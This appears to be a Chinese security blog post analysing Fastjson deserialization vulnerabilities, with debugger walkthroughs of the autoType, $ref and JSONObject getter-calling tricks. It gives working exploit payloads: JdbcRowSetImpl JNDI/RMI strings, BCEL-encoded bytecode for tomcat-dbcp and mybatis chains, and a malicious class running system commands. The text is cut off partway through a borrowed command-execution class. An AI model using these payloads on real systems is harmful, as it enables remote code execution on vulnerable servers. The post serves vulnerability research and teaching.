Fastjson Sec

B0T1eR發表於2023-02-26

Fastjson

前置知識

autoType功能

序列化:fastjson在透過JSON.toJSONString()將物件轉換為字串的時候,當使用SerializerFeature.WriteClassName引數時會將物件的類名寫入@type欄位中,
反序列化:在重新轉回物件時會根據@type來指定類,進而呼叫指定類的set,get方法。因為這個特性,我們可以指定@type指定任意不安全的類,從而造成一些問題

在fastjson 1.2.24版本之後autoType預設關閉

ParserConfig.getGloballnstance().setAutoTypeSupport(true);

序列化

Java物件轉換為JSON物件

  • JSON.toJSONString(Object)
  • JSON.toJSONString(Object,SerializerFeature.WriteClassName) SerializerFeature.WriteClassName設定@type欄位

反序列化

反序列化(將JSON字串轉換為Java物件):JSON.parse() JSON.parseObject()

  • JSON.parse():parse()中會識別並呼叫目標類的setter方法以及某些特定的getter方法。如果json字串中有@type則返回的是Object物件,反之則返回JSONObject物件
public static Object parse(String text) {
    return parse(text, DEFAULT_PARSER_FEATURE);
}
  • JSON.parseObject(String text):從原始碼方面來看parseOcbject本質還是呼叫parse方法,但是最後透過JSON.toJSON()將物件轉換為JSONObject物件。正因如此會呼叫反序列化目標類的所有setter和getter方法
public static JSONObject parseObject(String text) {
        Object obj = parse(text);
        if (obj instanceof JSONObject) {
            return (JSONObject) obj;
        }
        return (JSONObject) JSON.toJSON(obj);
}
  • JSON.parseObject(jsonStr,Object.class):這個方法返回的是Object物件
  • JSON.parse(JSONStr,Feature.SupportNonPublicField)
  • JSON.parseObject(jsonStr, Object.class, config, Feature.SupportNonPublicField) 設定了一個Feature.SupportNonPublicField,實際上這種情況很少會被用到。其作用就是支援反序列化使用非public修飾符保護的屬性,如private修飾的屬性。引數Object.class為期望類,會直接根據該class物件尋找反序列化器然後deserialze。具體看方法內部程式碼
  • JSON.parseObject(jsonStr).toJavaObject(Object.class) 1.2.80

三種反序列化總結

  1. parse(jsonStr) 構造方法+Json字串指定屬性的setter()+特殊的getter()
  2. parseObject(jsonStr) 構造方法+Json字串指定屬性的setter()+所有getter() 包括不存在屬性和私有屬性的getter()
  3. parseObject(jsonStr,Object.class) 構造方法+Json字串指定屬性的setter()+特殊的getter()

使用fastjson

我這裡在pom.xml中匯入的包是:

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

先寫一個user的java類

package testFastjson;

public class User {
    private String name;

    public User() {
        System.out.println("呼叫建構函式");
    }

    public String getName() {
        System.out.println("呼叫getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("呼叫setName");
        this.name = name;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                '}';
    }
}

序列化

JSON.toString(Object object) 序列化操作:test類的主執行緒中序列化操作一下這個JavaBean

package testFastjson;

import com.alibaba.fastjson.JSON;

public class Test {
    public static void main(String[] args) {
        User user = new User(); //呼叫建構函式
        user.setName("butler"); //呼叫setName
        //將user類進行序列化操作
        String string = JSON.toJSONString(user); //呼叫getName
        System.out.println(string); //{"name":"butler"}
    }
}

image-20220302105048927

使用 JSON.toJSONString() 方法會將javabean序列化為json字串的時候會呼叫 user 的 getName()方法。(至於為什麼能自動呼叫下文會講到)

反序列化

反序列化流程大致分析

(隨手記一記)

  1. checkAutoType來檢測@type欄位:將@type中的欄位取出來作為類名然後進行反序列化操作
Class ParserConfig#checkAutoType(String typeName, Class<?> expectClass, int features)

透過checkAutoType檢測

  • class whitelist mappings:File URL

  • class use @JSONType註解

  • enable autotype

  • 繼承自期望類:反序列化的類繼承自期望類

不透過checkAutoType檢測

  • class not found

  • class blacklist

  • enable safeMode:1.2.68之後引入的特性,當其開啟了之後無論@type是指定的何種類,都是不允許繼續反序列化的。

  • 非繼承自期望類,期望類:使用JSON.parseObject(jsonStr,Object.class)反序列化方式的時候,Object.class會作為期望類。當@type所指定類和期望類是非繼承關係的話不會透過checkAutoType繼續反序列化

  1. 選擇反序列化器
ObjectDeserializer ParserConfig#getDeserializer(Type type)

一些反序列化器(對應的都是白名單中的類的反序列化器)

  • JavaBeanDeserializer (主要處理物件的例項化(呼叫構造方法),物件引數的賦值(setter方法)...)

  • MiscCodec (File URL..)

  • ThrowableDeserializer

  • MapDeserializer

JavaBeanDeserializer

JavaBeanDeserializer對class類進行處理的時候會呼叫構造方法,然後會呼叫setter和一些getter方法

Java Bean例項化機制

構造方法的呼叫:

  • 優先選取無參構造
  • 沒有無參構造會選取唯一的構造方法
  • 如有多個構造方法,優先選取引數最多的public構造犯法
  • 如引數最多的構造方法多個則隨機選取一個構造方法
  • 如果被例項化的是靜態內部類,也可以忽略修飾符
  • 如果被例項化的是非public類,構造方法裡的引數型別仍然可以進一步反序列化

setter

  • Field是public時可以不用setter方法
  • 其他需要public的setter方法

而反序列化Java類時呼叫setter和一些getter方法的主要邏輯如下:

  1. 獲取並儲存目標Java類中的成員變數,setter,getter:

    由JavaBeanInfo.build()進行處理,透過建立一個fieldList陣列,用來儲存目標Java類的成員變數以及相應的setter或getter方法資訊,供後續反序列化時呼叫

  2. 解析JSON字串,對欄位逐個處理,呼叫相應的setter,getter進行變數賦值

    fastjson語義分析JSON字串,根據欄位key,JavaBeanDeseializer#parseField中呼叫fieldlist陣列中儲存的相應方法進行變數初始化賦值

"getter"方法的呼叫

呼叫getter的特殊手段

https://blog.csdn.net/solitudi/article/details/120275526

https://jlkl.github.io/2021/12/18/Java_07/

https://paper.seebug.org/1613/#_1

我們都知道在Fastjson中parse會識別並呼叫目標類的特定setter方法及特定的getter方法,(特定規則其實總結起來就是一般的setter方法以及一般的返回值型別繼承自Collection Map AtomicBoolean AtomicInteger AtomicLong的getter方法)。那麼對於一般的不滿足條件的getter方法能否進行呼叫呢?這裡找出倆種呼叫方式

  • $ref方式呼叫getter方法,適用於fastjson>=1.2.36
  • JSONObject方式呼叫getter方法,適用於fastjson<1.2.36

$ref呼叫 getter方法

什麼是$ref

$ 符號屬於JSONPath語法 https://goessner.net/articles/JsonPath/

$ref 是fastjson裡的引用,引用之前出現的物件

迴圈引用 · alibaba/fastjson Wiki (github.com)

fasrjson中的JSONPath

語法 描述
引用根物件
引用自己
引用父物件
引用父物件的父物件
基於路徑的引用

呼叫演示

匯入fastjson依賴,做演示的話對版本沒什麼要求

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.36</version>
</dependency>

使用str3am師傅的例子來分析

package com.vuln;

import java.io.IOException;

public class Test {
    private String cmd;

    public String getCmd() throws IOException {
        System.out.println("呼叫了getCmd方法.");
        Runtime.getRuntime().exec(cmd);
        return cmd;
    }

    public void setCmd(String cmd) {
        System.out.println("呼叫了setCmd方法.");
        this.cmd = cmd;
    }
}

然後反序列化呼叫一下

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "[{\"@type\":\"com.vuln.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";	//會呼叫getCmd
        //String payload = "[{\"@type\":\"com.vuln.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0]\"}]";	//會呼叫setCmd
        Object o = JSON.parse(payload);
    }
}

最後呼叫結果image-20221229222534732

呼叫分析

首先看一下呼叫棧,payload的呼叫棧image-20230103125137850

自己胡亂分析了一遍,對上面的程式下斷點開始除錯image-20221229225258593

進入到JSON.parse函式中,parser.parse()程式碼對fastjson字串整體處理,後面的parser.handleResolveTask也很好理解,它是為了解決上一行程式碼中未處理完的任務image-20230103135911815

然後先進入parser.parse()中進行分析,因為這裡處理的是json字串是陣列,所以會進入case:14image-20230103140714573

在DefaultJSONParser#parseArray中有while迴圈會逐個對陣列元素反序列化image-20230103140934201

第一個陣列元素反序列化沒有任何問題,第二個陣列元素是{\"$ref\":\"$[0].cmd\"},在DefaultJSONParser#parseObject中如果key是"$ref"但是處理不了對應的 ref 變數("$[0].cmd")的話就將 ref 新增到resolveTaskListimage-20230103141939973

回到JSON.parse函式中會進入parser.handleResolveTask處理未處理完的字串,如果this.getObject獲得不了物件就會使用JSONPath來解析ref變數image-20230103142806978

JSONPath#eval中會先進行 init 初始化操作將"$[0].cmd"處理成相應的segement物件,然後逐個處理image-20230103143335505

init函式中主要看JSONPath#explain()中的邏輯,Segement陣列有8個元素主要是Segement有8個繼承類,主要邏輯在readSegment邏輯中image-20230103144148640

直接回到JSONPath#eval()邏輯中,this.segments陣列中第一個元素對應著$[0],第二個元素對應著cmdimage-20230103145014600

然後進入第二個segment.eval()中呼叫getPropertyValue。此時currentObject為第一個Segment元素得出的物件Testimage-20230103145344719

在getPropertyValue中會呼叫beanSerializer.getFieldValue函式,之後就是使用反射呼叫Test物件的getCmd方法...image-20230103145701771

1.2.36之前的限制

前面為1.2.36,後面為1.2.35,我們可以看到1.2.35中如果this.getObject(ref)獲取不了物件直接將不進入JSONPath.eval函式image-20230103123911996

在這裡插入圖片描述

1.2.36之前的救贖

案例介紹

JSONObject方式呼叫 getter方法

什麼是JSONObject

JSONObject繼承了JSON類並實現了Map介面,執行JSON#toString()時會將當前物件轉為字串形式,會提取類中所有Field,自然會執行相應的getter、is等方法。

呼叫演示

package com.vuln;

import java.io.IOException;

public class Test {
    private String cmd;

    public String getCmd() throws IOException {
        System.out.println("呼叫了getCmd方法.");
        Runtime.getRuntime().exec(cmd);
        return cmd;
    }

    public void setCmd(String cmd) {
        System.out.println("呼叫了setCmd方法.");
        this.cmd = cmd;
    }
}

反序列化payload

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Main {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        //String payload = "[{\"@type\":\"com.vuln.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";	//會呼叫getCmd
        //String payload = "[{\"@type\":\"com.vuln.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0]\"}]";	//會呼叫setCmd
        String payload = "{\n" +
                "    {\n" +
                "        \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
                "        \"x\":{\n" +
                "                \"@type\": \"com.vuln.Test\",\n" +
                "                \"cmd\": \"calc\"\n" +
                "        }\n" +
                "    }: \"x\"\n" +
                "}";
        Object o = JSON.parse(payload);
    }
}

最終成功彈出計算器image-20230101220315426

呼叫分析

反序列化時首先得到一個JSONObject物件,然後將該JSONObject物件置於"JSON Key"的位置。Fastjson在反序列化時會對”JSON Key”自動呼叫JSON.toString()。JSONObject繼承了JSON類並實現了Map介面,執行JSON#toString()時會將當前物件轉為字串形式,會提取類中所有Field,自然會執行相應的getter、is等方法,以此呼叫:getCmd()方法。

我們在JSON#toString處下一個斷點,發現其上層函式是com.alibaba.fastjson.parser.DefaultJSONParser#parseObject,再往上走是com.alibaba.fastjson.parser.DefaultJSONParser#parseimage-20230101224146085

和之前一樣在com.alibaba.fastjson.parser.DefaultJSONParser#parse中一樣依舊會選擇12,12就是解析出第一個有效字串是{

image-20230101230331382

進入了com.alibaba.fastjson.parser.DefaultJSONParser#parseObject之後會繼續判斷下一個有效字元是什麼,如果有效字元是{或者[,將會再呼叫一次DefaultJSONParser#parse,解析完裡面的物件之後再返回到變數key。image-20230102002802005

返回的這個key是,符合我們fastjson字串中的內容image-20230102004610137

接下來就是對key的一系列判斷,判斷key是不是@type,是不是$ref....

然後接著往下走com.alibaba.fastjson.parser.DefaultJSONParser#parseObject中有個關於object是否是JSONObject的判斷,因為在第一次進入parseObject之前套了一個JSONObject,所以它會進入到key#toString,而這個key就是上面返回的JSONObjectimage-20230101232025563

JSON#toString中我們可以看到透過該方法我們最終呼叫到了Test#getCmd方法,具體為什麼可以呼叫的到參考Str3am師傅

Fastjson使用ASM來代替反射,透過ASM的ClassWriter來生成JavaBeanSerializer的子類,重寫write方法,JavaBeanSerializer中的write方法會使用反射從JavaBean中獲取相關資訊,ASM針對不同類會生成獨有的序列化工具類,這裡如ASMSerializer_1_Test ,也會呼叫getter獲取類種相關資訊,更詳細可以參考ASM在FastJson中的應用 - SegmentFault 思否

image-20230101231011288

1.2.36以後的限制

com.alibaba.fastjson.parser.DefaultJSONParser#parse 函式中可以看到不會if中的邏輯變了再呼叫JSONObject#toString函式image

1.2.36之後的救贖

以下為fastjson1.2.37:在DefaultJSONParser#parseObject中有關JSONObject的邏輯發生了變化

if (object.getClass() == JSONObject.class && key == null) {
    key = "null";
}

限制了但是沒有完全限制,從上面這段中接著往下看

if (object.getClass() == JSONObject.class && key == null) {
    key = "null";
}

Object value;
Map var27;
if (ch == '"') {
    .......
    map.put(key, value);
} else {
    if ((ch < '0' || ch > '9') && ch != '-') {
    .......
    this.checkMapResolve(object, key.toString());

這裡只要滿足冒號後面跟的不是雙引號,並且非0-9、- 字元就能夠觸發到toString序列化方法。所以將:"x"修改為:{}就可以觸發到

String payload = "{{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"x\":{\"@type\":\"com.vuln.Test\",\"cmd\":\"calc\"}}:{}}";

在第一次呼叫DefaultJSONParser#parseObject中再遇到{字元會再次呼叫parse函式獲得{}中的物件,所以這裡的key是JSONObject物件image-20230104181054919

繼續往下走,因為第二個{}中的內容已經分析完畢,所以這裡ch獲得的是最後的{,也就是將:"x"修改為:{}的{image-20230104181321330

最後因為是{,可以成功呼叫key.toString即JSONObject.toStringimage-20230104181558913

案例介紹

總結一下關於如何使用JSONObject呼叫特殊的getter:(fastjson<1.2.36)

<=1.2.36大致構造這樣的payload:{{"@type":"com.alibaba.fastjson.JSONObject",x:{}}:x}

>1.2.36大致可以構造這樣的payload:{{"@type":"com.alibaba.fastjson.JSONObject",x:{}}:

Fastjson漏洞史

1.2.22-1.2.24

分析漏洞:利用鏈(影響版本,要求配置資訊,利用環境)

利用鏈

  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  • com.sun.rowset.JdbcRowSetImpl
  • org.apache.tomcat.dbcp.dbcp2.BasicDataSource

JdbcRowSetImpl

  • kick-off gadget:JSON.parse(payload)
  • sink gadget:com.sun.rowset.JdbcRowSetImpl#setAutoCommit(boolean var1)
  • chain gadget:JavaBeanDeserializer#deserialze()

我的理解是反序列化時會根據@type獲得類物件然後根據鍵dataSourceName反射呼叫setdataSourceName方法再反射呼叫autoCommit方法

{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1234/Exploit\", \"autoCommit\":true}

準備一個惡意的JNDIRMI服務端,反序列化以下JSON字串

public class JdbcRowSetImpISec {
    public static void main(String[] args) {
        //反序列化
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1234/Exploit\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

JNDIRMI服務端如果是JDK低版本的話自定義惡意的ObjectBean就可以,高版本JDK需要從環境中找可以利用的ObjectBeanimage-20220902083416017

JSON類的parse方法最後是例項化了一個DefaultJSONParser物件又呼叫了該物件的parse() 方法跟蹤 parse() 方法image-20220902100034648

DefaultJSONParser#parse(Object fieldName)會根據lexer.token來選擇switch中對應的caseimage-20220902100431628

lexer.token又是從DefaultJSONParser類的構造方法中賦值的

DefaultJSONParser(final String input, final ParserConfig config, int features)
    -DefaultJSONParser(final Object input, final JSONLexer lexer, final ParserConfig config)

該構造方法中lexer先讀取JSON字串中第一個字元然後做判斷為lexer.token賦值,因為是{所以lexer.token是12,接著lexer指向下一個字元image-20220902101327299

回到DefaultJSONParser#parse(Object fieldName)建立JSONObject物件然後呼叫DefaultJSONParser#parseObject(object,fieldName)方法image-20220902101955003

接下來這個DefaultJSONParser#parseObject(object,fieldName)特別長擷取關鍵的部分進行分析在下來的解析過程中如果遇到空格都會跳過skipWhitespace,隨後會進入"的判斷部分image-20220902102752745

接著往下看lexer.scanSymbol會獲得JSON字串中的鍵名,當前是@typeimage-20220902103324679

接著會在if(key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) 裡判斷key是否為@type,JSON.DEFAULT_TYPE_KEY值就是@typeimage-20220902105708926

透過@type所指示的類名進入TypeUtils#loadClass(String className, ClassLoader classLoader),該方法裡會根據@type所指示的鍵名獲取類物件,無論咋樣最後的類物件clazz都會存放於快取在mappings裡

    public static Class<?> loadClass(String className, ClassLoader classLoader) {
        if (className == null || className.length() == 0) {
            return null;
        }
        Class<?> clazz = mappings.get(className);
        if (clazz != null) {
            return clazz;
        }
        if (className.charAt(0) == '[') {
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        }
        if (className.startsWith("L") && className.endsWith(";")) {
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        }
        try {
            if (classLoader != null) {
                clazz = classLoader.loadClass(className);
                mappings.put(className, clazz);
                return clazz;
            }
        } catch (Throwable e) {
            e.printStackTrace();
            // skip
        }
        try {
            ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();

            if (contextClassLoader != null) {
                clazz = contextClassLoader.loadClass(className);
                mappings.put(className, clazz);
                return clazz;
            }
        } catch (Throwable e) {
            // skip
        }
        try {
            clazz = Class.forName(className);
            mappings.put(className, clazz);

            return clazz;
        } catch (Throwable e) {
            // skip
        }
        return clazz;
    }

然後先獲得出JavaBeanDeserializer物件,再觸發JavaBeanDeserializer的deserialize方法image-20220902110547885

建立JavaBeanDeserializer物件時會將JavaBeanInfo物件作為屬性封裝

public class JavaBeanDeserializer implements ObjectDeserializer {
    private final FieldDeserializer[]   fieldDeserializers;
    protected final Class<?>            clazz;
    public final JavaBeanInfo           beanInfo;
    .....
}

JavaBeanInfo中的fields屬性就是之前提到的fieldlist陣列

public class JavaBeanInfo {
    public final Class<?>       clazz;
    public final Class<?>       builderClass;
    public final Constructor<?> defaultConstructor;
    public final Constructor<?> creatorConstructor;
    public final FieldInfo[]    fields;
    ......
}

JavaBeanInfo#build():該方法中並不是直接反射獲取目標Java類的成員變數的,而是會對setter、getter、成員變數分別進行處理,智慧提取出成員變數資訊。具體邏輯如下:

  1. 識別setter方法名,並根據setter方法名提取出成員變數名。如:識別出setAge()方法,FastJson會提取出age變數名並插入filedList陣列。
  2. 透過clazz.getFields()獲取成員變數。
  3. 識別getter方法名,並根據getter方法名提取出成員變數名。

可以看到build方法中智慧的獲取到了成員變數資訊放在fieldList然後再放在JavaBeanInfo中的fields屬性中image-20220904110456929

JavaBeanDeserializer#parseField()方法中會根據key,也就是JSON字串中鍵(在這裡是autoCommit)找到對應的setter/getter封裝在FieldDeserializer中再進行處理

public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,
                              Map<String, Object> fieldValues) {
        JSONLexer lexer = parser.lexer; // xxx
        FieldDeserializer fieldDeserializer = smartMatch(key);
        ......
        fieldDeserializer.parseField(parser, object, objectType, fieldValues);
        ......
        return true;
    }

呼叫fieldDeserializer#parseFieldimage-20220904111401544

最後就是觸發JNDI的呼叫棧image-20220902110922765

BCEL CLassLoader

https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html

https://xz.aliyun.com/t/2272

  • kick-off gadget:JSON.parse(payload)/JSON.parseObject(payload)
  • sink gadget:BasicDataSource#getConnection() or org.apache.ibatis.datasource.unpooled.UnpooledDataSource
  • chain gadget:JavaBeanDeserializer#deserialze()

JDK 8u251 BCEL ClassLoader之後被移除 BCEL去哪兒了,FastJSON 觸發BCEL ClassLoader,目前使用得最多的兩種利用方式需要分別依賴tomcat-dbcp、mybatis

tomcat-dbcp

以下為1.2.24版本下的除錯

依賴包tomcat-dbcp使用也比較廣泛,是Tomcat的資料庫驅動元件,不過我們需要注意的是不同的dbcp依賴中的BasicDataSource類是有所變化的

org.apache.commons.dbcp.BasicDataSource
<dependency>
    <groupId>commons-dbcp</groupId>
    <artifactId>commons-dbcp</artifactId>
    <version>1.4</version>
</dependency>
org.apache.tomcat.dbcp.dbcp.BasicDataSource 6.0.53 7.0.81
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>dbcp</artifactId>
    <version>6.0.53</version>
</dependency>
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.8</version>
</dependency>

因為是動態載入位元組碼隨便準備一個惡意類

import java.io.IOException;

public class Evil {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

檢驗反序列化

public class BasicDataSourceSec {
    public static void main(String[] args) throws IOException {
//        //獲取Java位元組碼
//        JavaClass javaClass = Repository.lookupClass(Evil.class);
//        //轉換Java位元組碼為BCEL格式位元組碼
//        String code = Utility.encode(javaClass.getBytes(),true);
//        System.out.println(code);
        String payload = "$l$8b$I$A$A$A$A$A$A$AmQ$cbN$db$40$U$3d$938$b1$e3$d8$E$S$c2$ab$P$9em$D$L$bc$e9$$$R$9b$w$m$84$dbT$N$82$f5d$Y$85$BcG$ce$q$e2$8f$bafC$x$W$7c$40$3f$Kq$c7$a4i$a4b$c9$f7q$ee$3d$e7$dek$ffyzx$E$f0$Z$l$5d8Xv$b1$82U$Hk$c6$bf$b1$f1$d6E$B$efl$bc$b7$b1$cePl$a9X$e9$D$86$7cc$f7$8c$c1$fa$92$5cH$86J$a8b$f9mt$d3$93$e9$v$efE$84T$c3D$f0$e8$8c$a7$ca$e4$T$d0$d2$97j$c8$e0$87G$fc$a2$_u$d0$k$ab$a8$c9$e0$b4D4Qe$d4U$P$af$f8$98$H$w$J$8e$3b$ed$5b$n$HZ$r1$b5$f9$5d$cd$c5$f5W$3e$c8$d4h1$G$b7$9b$8cR$n$P$95Q$_$Z$b9$7d$c3$f5P$82kc$c3$c3$s$b6h$ym$o$3clc$87$a1$f6$8a$b6$87$Pp$Z$ca3$5b1$ccg$8d$R$8f$fbA$a7w$r$85fX$f8$H$fd$Y$c5Z$dd$d0P$97$Y$d3$a4$de$d8$N$ff$eb$a1$cd$zy$x$F$c3$a7$c6L$b5$abS$V$f7$9b$b3$84$efi$o$e4pH$84$ca$80$8a$3a$bb$f74$e5B$d2$j6$fd$g$f3$e4$c0$ccud$cb$94$F$e4$Z$f9$c2$de$_$b0$bb$ac$ec$91$z$be$80$f0$c9z$93x$O$V$f2$O$e6$a7d$9e$89$B$d5$df$c8U$f3$f7$b0$ce$7f$c29$d9$bbG$f1$$$c3K$c4$z$m$9f$v$$Qd$d8$rb$9a$cf$eb$93$ca$CE$7f$t$f8$b0$u$afRV$a3$d7F$$$b4$b1hQ$a1$9e$z$b5$f4$M$U$9b$ce$Fd$C$A$A";
        //String exploit = "{\"@type\": \"org.apache.commons.dbcp.BasicDataSource\",\"driverClassLoader\": {\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\"$$BCEL$$"+payload+"\"}";
        String exploit = "{{\"@type\": \"com.alibaba.fastjson.JSONObject\",\"x\":{\"@type\": \"org.apache.commons.dbcp.BasicDataSource\",\"driverClassLoader\": {\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\": \"$$BCEL$$"+payload+"\"}}: \"x\"}";
        //JSON.parseObject(exploit);
        JSON.parse(exploit);
    }
}

org.apache.commons.dbcp.BasicDataSource#createConnectionFactory方法中的else部分可以選擇ClassLoader來載入類物件image-20220904133204995

既然fastjson中有這一條鏈,那我們就要保證有getter或setter會呼叫createConnectionFactory方法,並且createConnectionFactory中的this.driverClassNamethis.driverClassLoader也有相應的getter/setter方法

public synchronized void setDriverClassLoader(ClassLoader driverClassLoader) {
    this.driverClassLoader = driverClassLoader;
    this.restartNeeded = true;
}
public synchronized void setDriverClassName(String driverClassName) {
    if (driverClassName != null && driverClassName.trim().length() > 0) {
        this.driverClassName = driverClassName;
    } else {
        this.driverClassName = null;
    }
    this.restartNeeded = true;
}

BasicDataSource#createDataSource方法中又呼叫了BasicDataSource#reateConnectionFactorythis.dataSourcethis.closed的值我們關心,預設為false就可以呼叫到

    protected synchronized DataSource createDataSource() throws SQLException {
        if (this.closed) {
            throw new SQLException("Data source is closed");
        } else if (this.dataSource != null) {
            return this.dataSource;
        } else {
            ConnectionFactory driverConnectionFactory = this.createConnectionFactory();
            this.createConnectionPool();
            GenericKeyedObjectPoolFactory statementPoolFactory = null;
            if (this.isPoolPreparedStatements()) {
                statementPoolFactory = new GenericKeyedObjectPoolFactory((KeyedPoolableObjectFactory)null, -1, (byte)0, 0L, 1, this.maxOpenPreparedStatements);
            }
	......
            return this.dataSource;
        }
    }

BasicDataSource#getConnection又可以呼叫到createDataSource方法

    public Connection getConnection() throws SQLException {
        return this.createDataSource().getConnection();
    }

我們如果想呼叫getConnection方法,遇到反序列化方式為JSON.parseObject(exploit)可以直接利用,因為該方法會呼叫class的所有setter/getter。那麼如果是JSON.parse()方法呢? JSON.parse()會識別並呼叫目標類的setter方法以及某些滿足特定條件的getter方法,然而getConnection並不符合特定條件,所以正常來說在FastJson反序列化的過程中並不會被呼叫。

根據網上查閱的資料 Java動態類載入,當FastJson遇到內網 並經過不斷的除錯,得出了一點眉目。

JSONObject是Map類的子類,在執行key.toString()時會將當前類(JSONObject)轉換為字串,提取類中的所有Field,執行屬性相應的getter和is方法

com.alibaba.fastjson.parser.DefaultJSONParser.parseObject
DefaultJSONParser.java:436

if (object.getClass() == JSONObject.class) {
    key = (key == null) ? "null" : key.toString();
}

怎麼樣才能執行到上述程式碼的key.toString呢?

首先,在{“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……}這一整段外面再套一層{},反序列化生成一個JSONObject物件。

然後,將這個JSONObject放在JSON Key的位置上,在JSON反序列化的時候,FastJson會對JSON Key自動呼叫toString()方法:

最終我也除錯分析了以下確實如此,過程比較複雜而且多次呼叫了DefaultJSONParser#parseObject(final Map object, Object fieldName)方法。

DefaultJSONParser#parseObject() //識別到了第一個{
    -DefaultJSONParser#parseObject() //識別到了第二個{
      - //識別到了@type JSONObject 呼叫Deserializer
      -MapDeserializer#deserialze() //JSONObject屬於Map
         -DefaultJSONParser#parseObject()
           -DefaultJSONParser#parseObject() //處理 JSONObject裡的 ”x“對應的{
          	- //識別到了@type BasicDataSource 呼叫Deserializer
              - JavaBeanDeserializer#deserializer()
    -key.toString()
    -JSON#toJSONString()

呼叫棧截圖image-20220905163706858

最後彈出計算器:image-20220905163842202

最後完整的POC為:

{
    {
        "@type": "com.alibaba.fastjson.JSONObject",
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

mybatis

2022N1CTF https://mp.weixin.qq.com/s/5zr2qWMd9GFMu37P89qjxA

chrome-extension://bocbaocobfecmglnmeaeppambideimao/pdf/viewer.html?file=https%3A%2F%2Fnese.team%2Fwriteup%2Fn1ctf2022.pdf

https://www.yulegeyu.com/2021/09/22/那些年一起打過的CTF-Laravel-任意使用者登陸Tricks分析/

org.apache.ibatis.datasource.unpooled.UnpooledDataSource#initializeDriver方法中有Class.forName(this.driver, true, this.driverClassLoader),如果driverClassLoader是BCELClassCloader的話就可以進行BCEL來RCE。而且this.driver和this.driverClassLoader都是我們可以控制的

private synchronized void initializeDriver() throws SQLException {
    if (!registeredDrivers.containsKey(this.driver)) {
        try {
            Class driverType;
            if (this.driverClassLoader != null) {
                driverType = Class.forName(this.driver, true, this.driverClassLoader);
            } else {
                driverType = Resources.classForName(this.driver);
            }

            Driver driverInstance = (Driver)driverType.newInstance();
            DriverManager.registerDriver(new DriverProxy(driverInstance));
            registeredDrivers.put(this.driver, driverInstance);
        } catch (Exception var3) {
            throw new SQLException("Error setting driver on UnpooledDataSource. Cause: " + var3);
        }
    }
}

然後找到的呼叫鏈是getConnection -> doGetConnection -> initializeDriver。fastjson中可以透過$ref、JSONObject呼叫特殊的getter方法

根據網上公開的<=1.2.24的BCEL ClassLoader修改的payload如下,也可以在fastjson 1.2.33 - 1.2.47或者無autotype的版本可利用

{
    "x": {
        "xxx": {
            "@type": "java.lang.Class",
            "val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
        },
        "c": {
            "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
        },
        "www": {
            "@type": "java.lang.Class",
            "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        {
            "@type": "com.alibaba.fastjson.JSONObject",
            "c": {
                "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
            },
            "c": {
                "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driver": "$$BCEL$$......."
            }
        }: {}
    }
}

BCEL之不出網

bcel的利用指定了classloader為com.sun.org.apache.bcel.internal.util.ClassLoader,導致不能直接獲取到request、response等。透過從當前執行緒的classloader來獲取request、response可解決該問題,Thread.currentThread().getContextClassLoader().loadClass(“javax.servlet.http.HttpServletRequest”), 參考這位師傅的。我大體看了下非記憶體馬而是命令注入 悄悄備份

//Author:fnmsd
//Blog:https://blog.csdn.net/fnmsd

import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Scanner;

public class dfs_classloader {

    static HashSet<Object> h;
    static ClassLoader cl = Thread.currentThread().getContextClassLoader();
    static Class hsr;//HTTPServletRequest.class
    static Class hsp;//HTTPServletResponse.class
    static String cmd;
    static Object r;
    static Object p;

    //    static {
//  r = null;
    //   p = null;
